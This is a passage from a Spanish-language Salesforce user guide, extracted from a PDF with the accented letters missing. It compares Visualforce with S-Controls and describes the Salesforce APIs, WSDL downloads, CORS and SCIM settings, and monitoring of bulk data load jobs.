Para insertar campos de conexin de actividades, seleccione Evento o Tarea En la lista desplegable Seleccionar tipo de campo.
Salesforce codifica automticamente el texto de cualquier campo de combinacin que inserte en un vnculo.
CONSULTE TAMBIN
Definicin de Custom S-Control

En qu se parecen las pginas de Visualforce a los S-Control?


Importante: Las pginas de Visualforce han sustituido a los S-Control. Las organizaciones que no han utilizado anteriormente
los S-Control no pueden crearlos. Los S-Control existentes no se vern afectados y todava podrn modificarse.
Las pginas de Visualforce se consideran S-Control de prxima generacin y se deben utilizar en lugar de S-Control siempre que sea
posible, tanto por su rendimiento mejorado, como por la facilidad con la que se pueden crear. La tabla siguiente resume las diferencias
entre las pginas de Visualforce y S-Control.
Pginas de Visualforce

S-Control

Capacidades tcnicas necesarias

HTML, XML

HTML, JavaScript, kit de herramientas AJAX

Estilo de lenguaje

Marca de etiqueta

Cdigo de procedimiento

Modelo de sustitucin de pgina

Conformacin de componentes
personalizados y estndar utilizando
etiquetas

Escritura HTML y JavaScript de la pgina


completa

Biblioteca de componentes estndar de S


Salesforce

No

Acceso a comportamiento de
plataforma predefinido

S, mediante el controlador estndar

No

Enlace de datos

No

Los desarrolladores pueden vincular un


componente de entrada (como un cuadro
de texto) con un campo concreto (como
Nombre de la cuenta). Si un usuario guarda
un valor en ese componente de entrada,
tambin se guarda en la base de datos.

Los desarrolladores no pueden vincular un


componente de entrada a un campo
concreto. En su lugar, deben introducir
cdigo de JavaScript que utilice la API para
actualizar la base de datos con valores de
campos especificados por el usuario.

No, deben introducir las hojas de estilo de


Salesforce manualmente

Herencia de las hojas de estilo

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 119

Pginas de Visualforce

S-Control

Respeto de metadatos de campo, como S, por defecto


nicos
Si un usuario intenta guardar un registro
que incumple la exclusividad u
obligatoriedad de los atributos de campo,
se muestra automticamente un mensaje
de error y el usuario puede volver a
intentarlo.

S, si se codifica en JavaScript utilizando una


llamada describe de API

Interaccin con Apex

Directa, por vinculacin a un controlador


personalizado

Indirecta, utilizando mtodos


webService de Apex mediante la API

Rendimiento

Con ms capacidad de respuesta porque la Con menos capacidad de respuesta porque


marca se genera en la plataforma Force.com cada activacin de la API requiere un
recorrido de ida y vuelta al servidor; la carga
permanece en el desarrollador para ajustar
el rendimiento

Contenedor de la pgina

Nativo

Si un usuario intenta guardar un registro


que incumple la exclusividad u
obligatoriedad de los atributos de campo,
slo aparece un mensaje de error si el
desarrollador del S-Control dise el cdigo
que incumple esos atributos.

En iFrame

CONSULTE TAMBIN
Descripcin general de Visualforce

Integracin de aplicaciones con Salesforce


Integracin de sus aplicaciones con Salesforce
Esta seccin contiene informacin sobre cmo integrar sus sistemas y aplicaciones con Salesforce.
mbito de operacin de campo
Descarga de WSDL y certificados de autenticacin de cliente de Salesforce
Qu API debo utilizar?
Supervisin de trabajos de carga masiva de datos
Acerca de notificaciones de uso de la API
Descripcin general de aplicaciones conectadas
Autenticacin de aplicaciones con OAuth en la pgina 159

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 120

Descripcin general del controlador de vista previa de la aplicacin de lienzo


El controlador de vista previa de la aplicacin de lienzo es una herramienta de desarrollo que le
permite ver el aspecto que tendrn sus aplicaciones de lienzo antes de publicarlas. Para ver su
aplicacin de lienzo:
1. En Configuracin, haga clic en Controlador de vista previa de la aplicacin de lienzo.
2. Haga clic en su aplicacin de lienzo en el panel a mano izquierda. La aplicacin de lienzo aparece
en el marco.
Para obtener ms informacin, consulte la Gua del desarrollador de Force.com Canvas .

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Professional Edition (con
API y Lienzo de Force.com
activados) y Developer
Edition

Inicio rpido de Heroku


El botn Inicio rpido de Heroku le ayuda a comenzar con la creacin de una aplicacin en Heroku
y la creacin de una aplicacin de lienzo correspondiente en Salesforce. Los campos Inicio rpido
de Heroku incluyen:
Campo

Descripcin

Plantilla

Plantilla de Heroku utilizada para crear la


aplicacin de Heroku.

Nombre de aplicacin de lienzo Nombre de la aplicacin de lienzo. La longitud

mxima es 30 caracteres.
Nombre de aplicacin de Heroku Nombre de la aplicacin de Heroku. El nombre

debe comenzar con una letra y solo puede


incluir letras en minscula, nmeros y guiones.
Este nombre se convierte en parte de la URL de
la aplicacin. La longitud mxima es 30
caracteres.
Descripcin de la aplicacin
de lienzo

Descripcin de la aplicacin de lienzo. Esta


descripcin aparece cuando modifica la
aplicacin de lienzo en Salesforce. La longitud
mxima es 200 caracteres.

Tipo de autenticacin

Modo en el que el inicio rpido realiza la


autenticacin con Heroku para crear la
aplicacin de lienzo.
OAuth: se usa el token de Heroku si el
usuario actual ha iniciado sesin en Heroku
y, en caso contrario, se inicia el flujo de
OAuth de Heroku.
Contrasea/nombre de
usuario: se usan el nombre de usuario
y la contrasea de Heroku.
Clave de API: se usa la clave de API
de Heroku.

PERMISOS DE USUARIO
Para ver el controlador de
vista previa:
Personalizar aplicacin
Y
Modificar todos los
datos

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 121

Campo

Descripcin

Nombre de usuario de Heroku

El nombre de usuario de la cuenta utilizada para iniciar sesin en


Heroku. La aplicacin de Heroku se crea con las credenciales de
ese usuario.
Nota: Este campo tiene un mximo de 30 caracteres de
longitud. Si su nombre de usuario de Heroku es superior a
30 caracteres de longitud, deber introducir la clave de API
asociada con su cuenta de Heroku en el campo Clave
API de Heroku.

Contrasea de Heroku

La contrasea de la cuenta utilizada para iniciar sesin en Heroku.

Clave de API de Heroku

En lugar de utilizar el nombre de usuario y la contrasea de la


cuenta de Heroku, puede utilizar la clave de API asociada con esa
cuenta. Puede buscar este valor en la pgina Mi cuenta de
Heroku.

Nota: El nombre de usuario y la contrasea de Heroku no estn almacenados en ningn sitio, pero se utilizan solo durante el
proceso de creacin de la aplicacin en una conexin segura.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 122

mbito de operacin de campo


Los campos que se muestran en la pgina mbito de operacin de campo tienen referencias a
travs del mbito de operacin:
Si la casilla de verificacin Est actualizado est seleccionada, el campo se ha actualizado
mediante una operacin del lenguaje de manipulacin de datos (DML), por ejemplo insert
o update. Para obtener ms informacin, consulte Concepto de dependencias.
En cambio, si la casilla de verificacin Est actualizado no est seleccionada, el campo slo
tiene referencia dentro del mbito de operacin. Por ejemplo, podra incluirse como parte de
una declaracin select.
Si la casilla de verificacin Id. externo est seleccionada, el campo acta como un Id. externo.
Un campo de Id. externo contiene identificadores de registro exclusivo desde un sistema externo
a Salesforce. Puede utilizar la bsqueda de la barra lateral para buscar valores de Id. externos y
utilizar el campo en la API de Force.com. Cuando utilice los asistentes de importacin para los
objetos personalizados y soluciones, puede utilizar este campo para evitar duplicados.

EDICIONES
Paquetes de AppExchange
y Visualforce disponibles en:
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Apex disponible en:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition y
Database.com Edition

PERMISOS DE USUARIO
Para cargar paquetes:
"Cargar paquetes de
AppExchange"
Para ver las dependencias
de Apex:
"Apex de autor"
Para ver las dependencias
de Visualforce:
Modo de desarrollador

Descarga de WSDL y certificados de autenticacin de cliente de Salesforce


Puede descargar un documento WSDL (Web Services Description Language, Lenguaje de descripcin
del servicio Web) para integrar sus aplicaciones con Salesforce por medio de la API.
Los siguientes WSDL estn disponibles:
WSDL de empresa: Utilice este documento WSDL para crear una integracin para una nica
organizacin.El WSDL de empresa es muy especfico, lo que significa que contiene objetos y
campos con tipos de datos especficos, como int y string. Los clientes que utilicen el
documento WSDL de empresa deben descargarlo y utilizarlo cada vez que su organizacin
realice un cambio en sus objetos o campos personalizados o cuando deseen utilizar una versin
diferente de la API.

EDICIONES
Disponible en: Professional
Edition, Enterprise Edition,
Developer Edition y
Database.com

PERMISOS DE USUARIO

Para descargar un WSDL:


WSDL de socio: Utilice este WSDL para crear una integracin que pueda funcionar en varias
Personalizar aplicacin
organizaciones de Salesforce, independientemente de sus objetos o campos personalizados.
Normalmente los socios y los proveedores de software independientes utilizan este WSDL. No
est estrictamente tipificado, lo que significa que trabajar con pares de valor-nombre de campo,
no con tipos de datos especficos. El documento WSDL de socio slo debe descargarse y utilizarse una vez por cada versin de la
API.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 123

WSDL de Apex: Utilice este WSDL para ejecutar o compilar Apex en otro entorno.
WSDL de metadatos: Utilice este WSDL para migrar los cambios de configuracin entre organizaciones o trabajar con las
personalizaciones en su organizacin como archivos de metadatos XML.
Para descargar un documento WSDL:
1. Desde Configuracin, haga clic en Desarrollo > API.
2. Descargue el WSDL adecuado:
Si est descargando un WSDL de empresa y tiene paquetes gestionados instalados en su organizacin, haga clic en Generar
WSDL de empresa. Salesforce le pedir que seleccione la versin de cada paquete instalado para incluirlos en el WSDL generado.
Tambin puede hacer clic con el botn derecho del ratn en el vnculo del documento WSDL adecuado para guardarlo en un
directorio local. En el men contextual, los usuarios de Internet Explorer pueden seleccionar Guardar destino como, mientras
que los usuarios de Mozilla Firefox pueden seleccionar Guardar vnculo como.
3. En su equipo, importe la copia local del documento WSDL en su entorno de desarrollo.
Nota: Tambin puede seleccionar las versiones de paquete predeterminadas sin descargar un WSDL en la seccin Configuracin
de versin de paquete.
Como opcin, puede descargar un certificado para autenticar las organizaciones de salesforce.com. Use este certificado para los mensajes
salientes de flujo de trabajo. El objetivo de este certificado es identificar que la solicitud precede de salesforce.com, no de un usuario
especfico. Si desea utilizar certificados para garantizar que conexiones seguras utilizando otras funciones de Salesforce, como las llamadas
de Apex, utilice certificados y pares de claves de Salesforce.
Desde Configuracin, haga clic en Desarrollo > API y en la pgina Descargar WSDL, haga clic con el botn derecho en Descargar
certificado de cliente y gurdelo en la ubicacin adecuada. Puede importar el certificado descargado en su servidor de la aplicacin
y configurar su servidor de aplicacin para solicitar el certificado del cliente.

Qu API debo utilizar?


Salesforce proporciona acceso programtico a la informacin de su organizacin utilizando interfaces
de programacin de aplicaciones sencillas, potentes y seguras.
Nombre de Utilidad
API
API de REST

Cundo se
debe utilizar

Protocolo Formato
de datos

Acceder a objetos Desea aprovechar REST


de su organizacin la arquitectura
mediante REST.
REST para
integrarla con su
organizacin. Sin
requisitos de
WSDL.
Adecuada para
aplicaciones
basadas en
navegador,
aplicaciones
mviles y
aplicaciones

JSON, XML

Comunicacin
Sncrona

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

PERMISOS DE USUARIO
Para utilizar las API
API activada

Mejora de Salesforce mediante cdigo

Nombre de API

Utilidad

Gua del usuario | Integracin de aplicaciones con


Salesforce | 124

Cundo se debe
utilizar

Protocolo

Formato de
datos

Comunicacin

sociales muy interactivas.


API de SOAP

Integrar los datos de su


organizacin con otras
aplicaciones mediante
SOAP.

Tiene servicios de
SOAP/WSDL
middleware preexistentes
que deben funcionar con
WSDL y datos en formato
XML.

XML

Sncrona

API de REST de
Chatter

Acceder a noticias en
tiempo real y datos
sociales de Chatter como
usuarios, grupos,
seguidores y archivos
mediante REST.

Desea integrar Chatter en REST


diversas aplicaciones,
como aplicaciones
mviles, sitios de intranet
y aplicaciones Web
externas.

JSON, XML

Sncrona (las
fotografas se
procesan de
forma asncrona)

API masiva

Cargar o eliminar un gran Tiene que procesar ms de REST


nmero de registros.
un milln de registros y la
velocidad es un requisito.

CSV, XML

Asncrona

API de metadatos

Gestionar
personalizaciones de su
organizacin y crear
herramientas que puedan
gestionar el modelo de
metadatos, no los propios
datos.

Desea migrar cambios,


SOAP/WSDL
como definiciones de
objetos personalizados y
formatos de pgina, desde
un sandbox hasta su
entorno de produccin.

XML

Asncrona

API de transmisin

Proporcionar un flujo de
datos que refleje los
cambios de datos en su
organizacin.

Necesita notificaciones
Bayeux
casi en tiempo real del
momento en que se crean
o actualizan los registros.

JSON

Asncrona (flujo
de datos)

API de REST de Apex Crear su propia API de


REST en Apex. Muestra las
clases de Apex como
servicios Web de RESTful.

Necesita crear respuestas REST


JSON personalizadas o
desea mostrar funciones
personalizadas que ha
implementado en Apex.

JSON, XML,
personalizado

Sncrona

API de SOAP de
Apex

Necesita crear respuestas SOAP/WSDL


XML personalizadas o
desea mostrar funciones
personalizadas que ha
implementado en Apex.

XML

Sncrona

Desea agregar
funcionalidad a sus
herramientas de
integracin y desarrollo
existentes o desea crear

JSON, XML,
personalizado

Asncrona

Crear servicios Web de


SOAP personalizados en
Apex. Muestra las clases
de Apex como servicios
Web de SOAP.

API de herramientas Creacin de herramientas


de desarrollo para
aplicaciones de
Force.com.

REST y SOAP

Mejora de Salesforce mediante cdigo

Nombre de API

Utilidad

Gua del usuario | Integracin de aplicaciones con


Salesforce | 125

Cundo se debe
utilizar

Protocolo

Formato de
datos

Comunicacin

herramientas de desarrollo
especializadas para un
servicio o una aplicacin
en concreto.

Cuando debo utilizar la API de REST


La API de REST proporciona una interfaz para servicios Web basada en REST potente, cmoda y sencilla para interactuar con Salesforce.
Entre sus ventajas se incluyen su facilidad de integracin y desarrollo, y es una excelente opcin de tecnologa para utilizar con aplicaciones
mviles y proyectos Web. Sin embargo, si tiene un gran nmero de registros para procesar, es posible que desee utilizar la API masiva,
que se basa en los principios de REST y est optimizada para grandes conjuntos de datos.

Cundo debo utilizar la API de SOAP?


La API de SOAP proporciona una interfaz para servicios Web basada en SOAP potente, cmoda y sencilla para interactuar con Salesforce.
Puede utilizar la API de SOAP para crear, recuperar, actualizar o eliminar registros. Tambin puede utilizar la API de SOAP para realizar
bsquedas y mucho ms. Utilice la API de SOAP en cualquier idioma que admita los servicios Web.
Por ejemplo, puede utilizar la API de SOAP para integrar Salesforce con los sistemas de recursos humanos y financieros de su organizacin,
ofrecer informacin de asistencia tcnica y ventas en tiempo real a los portales de la empresa y cumplimentar los sistemas bsicos de
la empresa con informacin sobre los clientes.

Cundo debo utilizar la API de REST de Chatter?


La API de REST de Chatter proporciona acceso programtico a noticias en tiempo real y datos sociales de Chatter como usuarios, grupos,
seguidores y archivos. Utilice la API de REST de Chatter para integrar Chatter en una variedad de aplicaciones como aplicaciones mviles,
sitios de intranet y aplicaciones Web externas. La API de REST de Chatter es similar a las API ofrecidas por otras empresas con noticias
en tiempo real como Facebook y Twitter.

Cundo debo utilizar la API masiva?


La API masiva est basada en los principios de REST y se ha optimizado para cargar o eliminar grandes conjuntos de datos. Le permite
consultar, insertar, actualizar, alterar o eliminar un gran nmero de registros de forma asncrona enviando lotes que Salesforce procesa
en segundo plano.
La API de SOAP, en contraste, est optimizada para aplicaciones cliente en tiempo real que actualizan pequeos nmeros de registros
a la vez. Aunque la API de SOAP tambin puede utilizarse para procesar un gran nmero de registros, puede resultar menos til si los
conjuntos de datos contienen cientos de miles de registros. La API masiva se ha diseado para simplificar el proceso de datos de unos
pocos miles de registros a millones de ellos.
La forma ms sencilla de utilizar la API masiva sera activarla para procesar registros en Data Loader usando archivos CSV. De esta forma
se evita la necesidad de escribir su propia aplicacin cliente.

Cundo debo utilizar la API de metadatos?


Utilice la API de metadatos para recuperar, implementar, crear, actualizar o eliminar personalizaciones para su organizacin. El uso ms
comn es migrar los cambios desde un sandbox u organizacin de pruebas a su entorno de produccin. El objetivo de la API de metadatos
es gestionar personalizaciones y crear herramientas que puedan gestionar el modelo de datos, pero no los datos en s.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 126

La forma ms sencilla de acceder a la API de metadatos es utilizar el IDE de Force.com o la herramienta de migracin de Force.com. Estas
herramientas se crean sobre la API de metadatos y utilizan las herramientas estndar de Eclipse y Ant respectivamente para simplificar
la tarea de trabajar con la API de metadatos. El IDE de Force.com, que se basa en la plataforma Eclipse, ofrece un entorno cmodo para
los programadores experimentados con los entornos de desarrollo integrado, permitindoles codificar, compilar, probar e implementarlo
todo desde el propio IDE . La herramienta de migracin de Force.com es ideal si desea utilizar una utilidad de secuencia de comandos
o lnea de comandos para trasladar los metadatos entre el directorio local y una organizacin de Salesforce.

Cundo debo utilizar la API de transmisin?


Utilice la API de transmisin para recibir notificaciones sobre cambios en los datos que coincidan con una consulta SOQL que defina.
La API de transmisin resulta de utilidad cuando desea que se enven notificaciones desde el servidor al cliente. Considere la API de
transmisin para aplicaciones que realicen consultas frecuentemente. Las aplicaciones que realicen consultas constantes en la
infraestructura de Salesforce, consumiendo un tiempo innecesario de procesamiento y llamadas a la API, podran beneficiarse de esta
API, que reduce el nmero de solicitudes que no devuelven datos. La API de transmisin tambin es perfecta para aplicaciones que
requieran la notificacin general de cambios de datos. Esto le permite reducir el nmero de llamadas a la API y mejorar el rendimiento.

Cuando debo utilizar la API de REST de Apex


Utilice la API de REST de Apex cuando desee mostrar sus mtodos y clases de Apex de modo que las aplicaciones externas puedan
acceder a su cdigo a travs de la arquitectura REST. La API de REST de Apex admite tanto OAuth 2.0 como el Id. de sesin para la
autorizacin.

Cundo debo utilizar la API de SOAP de Apex?


Utilice la API de SOAP de Apex cuando desee mostrar sus mtodos de Apex como API de servicios Web de SOAP de modo que las
aplicaciones externas puedan acceder a su cdigo a travs de SOAP. La API de SOAP de Apex admite tanto OAuth 2.0 como el Id. de
sesin para la autorizacin.

Cundo debo utilizar la API de herramientas?


Utilice API de herramientas cuando desea gestionar e implementar copias de trabajo de clases y desencadenadores de Apex y pginas
y componentes de Visualforce, establecer puntos de comprobacin o marcadores de volcados, ejecutar Apex annimas y acceder a la
informacin de inicio de sesin y cobertura de cdigos.

Utilizar CORS para acceder a la API REST de Chatter (Piloto)


API REST de Chatter admite CORS (uso compartido de recursos de origen cruzado). Para acceder a
esta API desde JavaScript en un navegador, agregue el origen que sirve la secuencia de comandos
a la lista blanca de CORS.
CORS es una recomendacin W3C que permite a los navegadores solicitar recursos de orgenes
distintos a los suyos (solicitudes de origen cruzado). Por ejemplo, utilizando CORS, una secuencia
de comandos de JavaScript en https://www.example.com podra solicitar un recurso de
https://www.salesforce.com.
Si un navegador que admite CORS realiza una solicitud en un origen en la lista blanca de CORS de
Salesforce, Salesforce devuelve el origen en el encabezado HTTP
Access-Control-Allow-Origin, junto con un encabezado HTTP de CORS adicional. Si
el origen no est incluido en la lista blanca, Salesforce devuelve el cdigo de estado de HTTP 404.
1. En Configuracin, seleccione Controles de seguridad > CORS.

EDICIONES
Disponible en: Professional
Edition, Enterprise Edition,
Performance Edition y
Developer Edition

PERMISOS DE USUARIO
Para crear, leer, actualizar y
eliminar:
Modificar todos los
datos

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 127

2. Seleccione Nuevo.
3. Introduzca un patrn de URL de origen.
El patrn de URL de origen debe incluir el protocolo HTTPS y un nombre de dominio y puede incluir un puerto. El carcter comodn
(*) es compatible y debe estar en frente de un nombre de dominio de segundo nivel, por ejemplo, https://*.example.com
incluye en la lista blanca todos los subdominios de example.com.
El patrn de URL de origen puede ser una direccin IP. Sin embargo, una direccin IP y un dominio que tienen como resultado la
misma direccin no son el mismo origen y debe agregarlos a la lista blanca de CORS como entradas separadas.
Importante: Todava debe pasar un testigo de OAuth con solicitudes que lo requieran.

Utilizar el sistema para gestin de identidad de dominio cruzado (SCIM)


Salesforce admite la especificacin 1.1 estndar abierta de la gestin de identidad de dominio
cruzado y proporciona algunas extensiones a la especificacin de modo que puede modificar y
gestionar propiedades del usuario utilizando la API de REST.
Utilice operaciones CRUD (crear, leer, actualizar y desactivar) ene usuarios, as como asigne y anule
la asignacin de usuarios en un perfil de Salesforce, un conjunto de permisos, una funcin y un
grupo pblico utilizando la API de REST.

EDICIONES
Disponible en: todas las
ediciones

Los siguientes son los extremos SCIM de Salesforce, donde salesforce_org_url es la URL de la organizacin (como un dominio
personalizado) para el usuario.
https://salesforce_org_url/services/scim/v1/Users
https://salesforce_org_url/services/scim/v1/Groups
https://salesforce_org_url/services/scim/v1/Entitlements
https://salesforce_org_url/services/scim/v1/Schemas
Puede solicitar las funciones de la implementacin SCIM de Salesforce utilizando
https://salesforce_org_url/services/scim/v1/ServiceProviderConfigs.

Puede solicitar las propiedades de un usuario especfico utilizando


https://salesforce_org_url/services/scim/v1/Users/userID donde userID es el Id. de 18 caracteres de

la organizacin.
Salesforce tambin incluye las siguientes extensiones.
Id. de gestor
usuarios externos
atributos personalizados
conjuntos de permisos
Las siguientes extensiones empresariales de SCIM aparecen bajo esta URN: urn:scim:schemas:extension:enterprise:1.0.
nmero de empleado
divisin
departamento
gestor (Id. de gestor y nombre de presentacin)
Las siguientes extensiones aparecen bajo esta URN: urn:salesforce:schemas:extension:18CHARORGID.
campos personalizados (si la organizacin dispone de alguno)
Las siguientes extensiones aparecen bajo esta URN: urn:salesforce:schemas:extension:external:1.0..

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 128

Id. de cuenta
Id. de contacto
Adems, tenga en cuenta el siguiente comportamiento.
En una clusula, AND no tiene prioridad sobre OR. Agregue explcitamente corchetes a las clusulas si alguna clusula nica contiene
tanto AND como OR.
En una clusula, los nombres de atributos y los operadores distinguen entre maysculas y minsculas.
Estos campos se deben filtrar con carcter individual.
Usuarios: Asignaciones, grupos.
Grupos: miembros
Asignaciones: miembros
Para obtener ms informacin, consulte la especificacin del esquema del ncleo de SCIM 1.1, la especificacin de API de REST de SCIM
1.1 y la Gua del desarrollador de API de REST de Salesforce .

Trabajos de carga masiva de datos


Supervisin de trabajos de carga masiva de datos
Puede crear, actualizar o eliminar conjuntos grandes de registros con la API masiva, que se ha
optimizado para procesar grandes conjuntos de datos. Simplifica el proceso de carga, actualizacin
o eliminacin de datos de unos miles a millones de registros. El procesamiento de grandes cantidades
de registros puede tardar. Esta pgina le permite supervisar el progreso de los trabajos actuales y
sus resultados.
Procese un conjunto de registros creando un trabajo que contenga uno o ms lotes. El trabajo
especifica qu objeto se est procesando y qu tipo de accin se est utilizando (consulta, insercin,
modificacin, actualizacin o eliminacin). Un lote es un conjunto de registros que se envan al
servidor en una solicitud HTTP POST. El servidor procesa cada lote de forma independiente, y no
necesariamente en el orden en que los ha recibido.
Para supervisar el estado de los trabajos de carga masiva de datos que se estn realizando o se han
completado recientemente, en Configuracin, haga clic en Supervisin > Trabajos de carga
masiva de datos o Trabajos > Trabajos de carga masiva de datos.
La lista de trabajos en curso contiene las siguientes columnas, que se muestran en orden alfabtico:
Columna

Descripcin

Id. del
trabajo

Id. nico de 15 caracteres de este trabajo.

Objeto

El tipo de objeto de los datos que se estn procesando. Todos los datos de un
trabajo deben ser el mismo tipo de objeto.

Operacin La operacin de procesamiento de todos los lotes del trabajo. Las reglas vlidas

son:
eliminar
insertar
consultar

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

PERMISOS DE USUARIO
Para supervisar los trabajos
de carga masiva de datos:
Gestionar integraciones
de datos

Mejora de Salesforce mediante cdigo

Columna

Gua del usuario | Integracin de aplicaciones con


Salesforce | 129

Descripcin
alterar
actualizar
Eliminacin

Progreso

Porcentaje de lotes procesados con respecto al nmero total de lotes enviados. El progreso no se muestra cuando
el trabajo est abierto porque no se conoce el nmero total de lotes del trabajo hasta que ste se cierra. El progreso
puede no reflejar de forma precisa el nmero de registros procesados. Cada lote puede contener un nmero
diferente de registros, por lo que se procesar a distintas velocidades.

Registros
procesados

Nmero de registros que ya se han procesado. Este nmero aumenta a medida que se procesan los lotes.

Hora de
inicio

La fecha y hora a la que se envi el trabajo.

Estado

El estado actual de procesamiento del trabajo. Los valores vlidos son:


Abierto: El trabajo se ha creado y es posible aadirle lotes.
Cerrado: No es posible aadir nuevos lotes a este trabajo. Los lotes asociados con el trabajo pueden
procesarse una vez que se ha cerrado el trabajo. No es posible modificar ni guardar un trabajo cerrado.
Abortado: El trabajo se ha abortado.
Error: El trabajo ha fallado. No es posible deshacer los lotes que se procesaron correctamente en el trabajo.

Enviado por

El nombre del usuario que ha enviado el trabajo.

La lista de trabajos completados contiene las siguientes columnas, que se muestran en orden alfabtico: Los trabajos completados se
eliminan de la lista siete das despus de completarse.
Columna

Descripcin

Hora de
La fecha y hora a la que se complet el trabajo.
finalizacin
Id. del
trabajo

Id. nico de 15 caracteres de este trabajo.

Objeto

El tipo de objeto de los datos que se estn procesando. Todos los datos de un trabajo deben ser el mismo tipo de
objeto.

Operacin

La operacin de procesamiento de todos los lotes del trabajo. Los valores vlidos son:
eliminar
insertar
consultar
alterar
actualizar
Eliminacin

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 130

Columna

Descripcin

Registros
procesados

Nmero de registros que ya se han procesado. Este nmero aumenta a medida que se procesan los lotes.

Hora de
inicio

La fecha y hora a la que se envi el trabajo.

Estado

El estado actual de procesamiento del trabajo. Los valores vlidos son:


Abierto: El trabajo se ha creado y es posible aadirle lotes.
Cerrado: No es posible aadir nuevos lotes a este trabajo. Los lotes asociados con el trabajo pueden
procesarse una vez que se ha cerrado el trabajo. No es posible modificar ni guardar un trabajo cerrado.
Abortado: El trabajo se ha abortado.
Error: El trabajo ha fallado. No es posible deshacer los lotes que se procesaron correctamente en el trabajo.

Enviado por

El nombre del usuario que ha enviado el trabajo.

Tiempo
Tiempo total que tarda en completarse el trabajo.
necesario
para
completar el
trabajo

CONSULTE TAMBIN
Visualizacin de detalles de trabajo de carga masiva de datos

Visualizacin de detalles de trabajo de carga masiva de datos


Puede crear, actualizar o eliminar conjuntos grandes de registros con la API masiva, que se ha
optimizado para procesar grandes conjuntos de datos. Simplifica el proceso de carga, actualizacin
o eliminacin de datos de unos miles a millones de registros. El procesamiento de grandes cantidades
de registros puede tardar. Esta pgina le permite supervisar el progreso de los trabajos actuales y
sus resultados.
Para ver los detalles de un trabajo de carga masiva de datos:
1. En Configuracin, haga clic en Supervisin > Trabajos de carga masiva de datos o
Trabajos > Trabajos de carga masiva de datos.

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

2. Haga clic en un vnculo Id. del trabajo para encontrar un trabajo.

PERMISOS DE USUARIO

La pgina de detalles del trabajo contiene los siguientes campos, que se muestran en orden
alfabtico:

Para supervisar los trabajos


de carga masiva de datos:
Gestionar integraciones
de datos

Campo

Descripcin

Tiempo
de
procesamiento
de Apex
(ms)

El nmero de milisegundos necesarios para procesar desencadenadores y otros


procesos relacionados con los datos de trabajo. Es la suma de horas equivalentes
en todos los lotes del trabajo. No incluye el tiempo empleado para el procesamiento
asncrono y operaciones de lotes de Apex. Si no hay desencadenadores, el valor
es 0.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 131

Campo

Descripcin

Tiempo de
procesamiento
activo de la
API (ms)

El nmero de milisegundos necesarios para procesar de forma activa el trabajo e incluye el tiempo registrado en
el campo Tiempo de procesamiento de Apex (ms), pero no incluye el tiempo en el que el trabajo
ha esperado en la cola o el tiempo necesario para la serializacin y deserializacin. Es la suma de horas equivalentes
en todos los lotes del trabajo.

Versin de
API

La versin de API del trabajo.

Lotes
completados

Nmero de lotes que se han completado para este trabajo.

Modo de
El modo de concurrencia para procesar los lotes. Los valores vlidos son:
concurrencia paralelo: Los lotes se procesan en modo paralelo. ste es el valor predeterminado.

serie: Los lotes se procesan en modo de serie.


Tipo de
contenido

El tipo de contenido del trabajo. Los valores vlidos son:


CSV: datos en formato CSV
XML: datos en formato XML (opcin predeterminada)
ZIP_CSV: datos en formato CSV en un archivo zip que contengan archivos adjuntos binarios
ZIP_XML: datos en formato XML en un archivo zip que contenga archivos adjuntos binarios

Hora de
La fecha y hora a la que se complet el trabajo.
finalizacin
Campo de Id
externo

El nombre del campo de Id. externo para una alteracin().

Lotes con
error

Nmero de lotes que han fallado en este trabajo.

Id. del
trabajo

Id. nico de 15 caracteres de este trabajo.

Lotes en
progreso

Nmero de lotes que se estn procesando en este trabajo.

Objeto

El tipo de objeto de los datos que se estn procesando. Todos los datos de un trabajo deben ser el mismo tipo de
objeto.

Operaciones

La operacin de procesamiento de todos los lotes del trabajo. Los valores vlidos son:
eliminar
insertar
consultar
alterar
actualizar
Eliminacin

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 132

Campo

Descripcin

Progreso

Porcentaje de lotes procesados con respecto al nmero total de lotes enviados. El progreso no se muestra cuando
el trabajo est abierto porque no se conoce el nmero total de lotes del trabajo hasta que ste se cierra. El progreso
puede no reflejar de forma precisa el nmero de registros procesados. Cada lote puede contener un nmero
diferente de registros, por lo que se procesar a distintas velocidades.

Lotes en
cola

El nmero de lotes que estn en cola para este trabajo.

Registros
fallidos

El nmero de registros que no se han procesado correctamente en el trabajo.

Registros
procesados

El nmero de registros procesados en el momento en que se envi la solicitud. Este nmero aumenta a medida
que se procesan los lotes.

Reintentos

Nmero de veces que Salesforce ha intentado guardar los resultados de una operacin. Los intentos repetidos se
deben a un problema, como un bloqueo.

Hora de
inicio

La fecha y hora a la que se envi el trabajo.

Estado

El estado actual de procesamiento del trabajo. Los valores vlidos son:


Abierto: El trabajo se ha creado y es posible aadirle lotes.
Cerrado: No es posible aadir nuevos lotes a este trabajo. Los lotes asociados con el trabajo pueden
procesarse una vez que se ha cerrado el trabajo. No es posible modificar ni guardar un trabajo cerrado.
Abortado: El trabajo se ha abortado.
Error: El trabajo ha fallado. No es posible deshacer los lotes que se procesaron correctamente en el trabajo.

Enviado por

El nombre del usuario que ha enviado el trabajo.

Tiempo
Tiempo total que tarda en completarse el trabajo.
necesario
para
completar el
trabajo
